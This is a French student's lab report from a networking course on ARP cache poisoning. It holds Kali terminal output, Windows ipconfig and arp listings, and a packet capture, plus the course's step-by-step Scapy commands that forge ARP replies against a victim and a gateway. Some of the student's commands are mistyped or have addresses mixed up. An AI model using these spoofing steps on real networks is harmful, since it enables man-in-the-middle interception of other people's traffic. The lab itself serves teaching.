

Compte rendu TP5

1. @MAC_A = 08:00:27:00:04:80 , @IP_A = 192.31.25.12
2. @MAC_V = 08:00:27:4e:a1:97 , @IP_V = 192.31.25.16
3. @MAC_P = 08:00:27:3c:36:90 , @IP_P = 192.31.25.1
4. @MAC_P = 5. , @IP_P = 192.31.25.15

```
(kali@kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group def
    ault qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP g
    roup default qlen 1000
    link/ether 08:00:27:00:04:80 brd ff:ff:ff:ff:ff:ff
    inet 192.31.25.12/24 brd 192.31.25.255 scope global dynamic noprefixroute
        eth0
        valid_lft 435sec preferred_lft 435sec
    inet6 fe80::70bd:7f3a:ba63:34ab/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

```
(kali@kali)-[~]
$ sudo -s
[sudo] password for kali:
(root@kali)-[/home/kali]
# echo 1 > /proc/sys/net/ipv4/ip_forward
echo: write error: invalid argument

(root@kali)-[/home/kali]
# echo 1 > /proc/sys/net/ipv4/ip_forward
```

```
(root@kali)-[/home/kali]
# echo 1 > /proc/sys/net/ipv4/ip_forward

(root@kali)-[/home/kali]
# python 3
python: can't open file '/home/kali/3': [Errno 2] No such file or directory

(root@kali)-[/home/kali]
# python3
Python 3.10.8 (main, Nov 4 2022, 09:21:25) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from scapy.all import*
>>> pv=(op=2, psrc=192.31.25.16, hwsrc=08:00:27:00:04:80, pdst=192.31.25.1, h
wdst=08:00:27:4e:a1:97)
    File "<stdin>", line 1
      pv=(op=2, psrc=192.31.25.16, hwsrc=08:00:27:00:04:80, pdst=192.31.25.1, h
wdst=08:00:27:4e:a1:97)
      ^^^^^
SyntaxError: invalid syntax. Maybe you meant '=' or ':=' instead of '='?
>>> pv=(op=2, psrc='192.31.25.16', hwsrc='08:00:27:00:04:80', pdst='192.31.25
.1', hwdst='08:00:27:4e:a1:97')
    File "<stdin>", line 1
      pv=(op=2, psrc='192.31.25.16', hwsrc='08:00:27:00:04:80', pdst='192.31.25
.1', hwdst='08:00:27:4e:a1:97')
      ^^^^^
SyntaxError: invalid syntax. Maybe you meant '=' or ':=' instead of '='?
>>> pv=ARP(op=2, psrc='192.31.25.16', hwsrc='08:00:27:00:04:80', pdst='192.31
.25.1', hwdst='08:00:27:4e:a1:97')
>>> send(pv, verbose = False)
>>> ip n
    File "<stdin>", line 1
      ip n
      ^
SyntaxError: invalid syntax
>>> send(pv, verbose = False)
```

```

C:\Users\admin>ipconfig /all

DHCP activ  . . . . . : Oui
Configuration automatique activ  e. . . : Oui
Adresse IPv6 de liaison locale. . . . . : fe80::9de5:26f7:a7b9:2a05%9(pr  f  r  )
Adresse IPv4. . . . . : 192.31.25.15(pr  f  r  )
Masque de sous-r  seau. . . . . : 255.255.255.0
Bail obtenu. . . . . : vendredi 12 d  cembre 2025 16:38:38
Bail expirant. . . . . : vendredi 12 d  cembre 2025 16:53:37
Passerelle par d  faut. . . . . : 192.31.25.1
Serveur DHCP . . . . . : 192.31.25.1
IAID DHCPv6 . . . . . : 101187623
DUID de client DHCPv6. . . . . : 00-01-00-01-30-CD-EF-54-08-00-27-4A-EA-18
Serveurs DNS. . . . . : 172.18.26.101
                        172.18.26.102
                        172.18.26.103
NetBIOS sur Tcpip. . . . . : Activ  

C:\Users\admin>arp -a

Interface : 192.31.25.15 --- 0x9
  Adresse Internet      Adresse physique      Type
  192.31.25.1           08-00-27-3c-36-90     dynamique
  192.31.25.12          08-00-27-00-04-80     dynamique
  192.31.25.255         ff-ff-ff-ff-ff-ff     statique
  224.0.0.22            01-00-5e-00-00-16     statique
  224.0.0.251           01-00-5e-00-00-fb     statique
  224.0.0.252           01-00-5e-00-00-fc     statique
  239.255.255.250       01-00-5e-7f-ff-fa     statique
  255.255.255.255       ff-ff-ff-ff-ff-ff     statique

C:\Users\admin>

```

No.	Time	Source	Destination	Protocol	Length	Info
4	1.001749046	fe80::9de5:26f7:a7b...	ff02::fb	MDNS	102	Standard query 0x0000 PTR _googlecast
5	3.002845372	192.31.25.15	224.0.0.251	MDNS	82	Standard query 0x0000 PTR _googlecast
6	3.002845731	fe80::9de5:26f7:a7b...	ff02::fb	MDNS	102	Standard query 0x0000 PTR _googlecast
7	15.705734358	192.31.25.15	239.255.255.250	SSDP	179	M-SEARCH * HTTP/1.1
8	18.709470960	192.31.25.15	239.255.255.250	SSDP	179	M-SEARCH * HTTP/1.1
9	21.717142731	192.31.25.15	239.255.255.250	SSDP	179	M-SEARCH * HTTP/1.1
10	62.872320417	192.31.25.15	239.255.255.250	SSDP	215	M-SEARCH * HTTP/1.1
11	63.873161578	192.31.25.15	239.255.255.250	SSDP	215	M-SEARCH * HTTP/1.1
12	64.892237156	192.31.25.15	239.255.255.250	SSDP	215	M-SEARCH * HTTP/1.1
13	65.894045001	192.31.25.15	239.255.255.250	SSDP	215	M-SEARCH * HTTP/1.1
14	101.849973023	192.31.25.14	192.31.25.1	DHCP	324	DHCP Request - Transaction ID 0x3c7c
15	101.853766078	192.31.25.1	192.31.25.14	DHCP	342	DHCP ACK - Transaction ID 0x3c7c
16	106.857137707	PcsCompu_3c:36:90	PcsCompu_00:04:80	ARP	60	Who has 192.31.25.14? Tell 192.31.25.1
17	106.857154794	PcsCompu_00:04:80	PcsCompu_3c:36:90	ARP	42	192.31.25.14 is at 08:00:27:00:04:80
18	107.000872684	PcsCompu_00:04:80	PcsCompu_3c:36:90	ARP	42	Who has 192.31.25.1? Tell 192.31.25.1
19	107.001412399	PcsCompu_3c:36:90	PcsCompu_00:04:80	ARP	60	192.31.25.1 is at 08:00:27:3c:36:90
20	182.875531951	192.31.25.15	239.255.255.250	SSDP	215	M-SEARCH * HTTP/1.1
21	183.875994608	192.31.25.15	239.255.255.250	SSDP	215	M-SEARCH * HTTP/1.1
22	184.882172679	192.31.25.15	239.255.255.250	SSDP	215	M-SEARCH * HTTP/1.1
23	185.884517864	192.31.25.15	239.255.255.250	SSDP	215	M-SEARCH * HTTP/1.1

1. Ouvrez un terminal et mettez vous en root :
sudo -s
2. Activez l'IP FORWARDING sur votre machine attaquante avec la commande suivante :

echo 1 > /proc / sys / net / ipv4 / ip_forward

IUT B  thune - d  partement R&T

3. Lancez ensuite un terminal interactif Python 3

```
python 3
```

4. Importez Scapy

```
>>> from scapy . all import *
```

5. Réalisez ensuite les instructions pour spoofer (usurper, empoisonner) le cache ARP de la machine victime

```
>>> pv = ARP ( op =2 , psrc = @ip_passerelle , hwsrc = @mac_A ,  
pdst = @ip_v , hwdst = @mac_v )
```

6. Envoyez cette réponse ARP

```
send (pv , verbose = False ) puis consulter le cache ARP modifié de la victime Ubuntu ip n
```

7. Réalisez ensuite les instructions pour spoofer le cache ARP de votre passerelle

```
pp = ARP ( op =2 , psrc = @ip_v , hwsrc = @mac_A , pdst = @ip_passerelle , hwdst =  
@mac_passerelle )
```

```
send (pp , verbose = False )
```

puis constatez le cache ARP de la passerelle modifiée

```
ip n
```

```
ipconfig / all
```

```
arp -a
```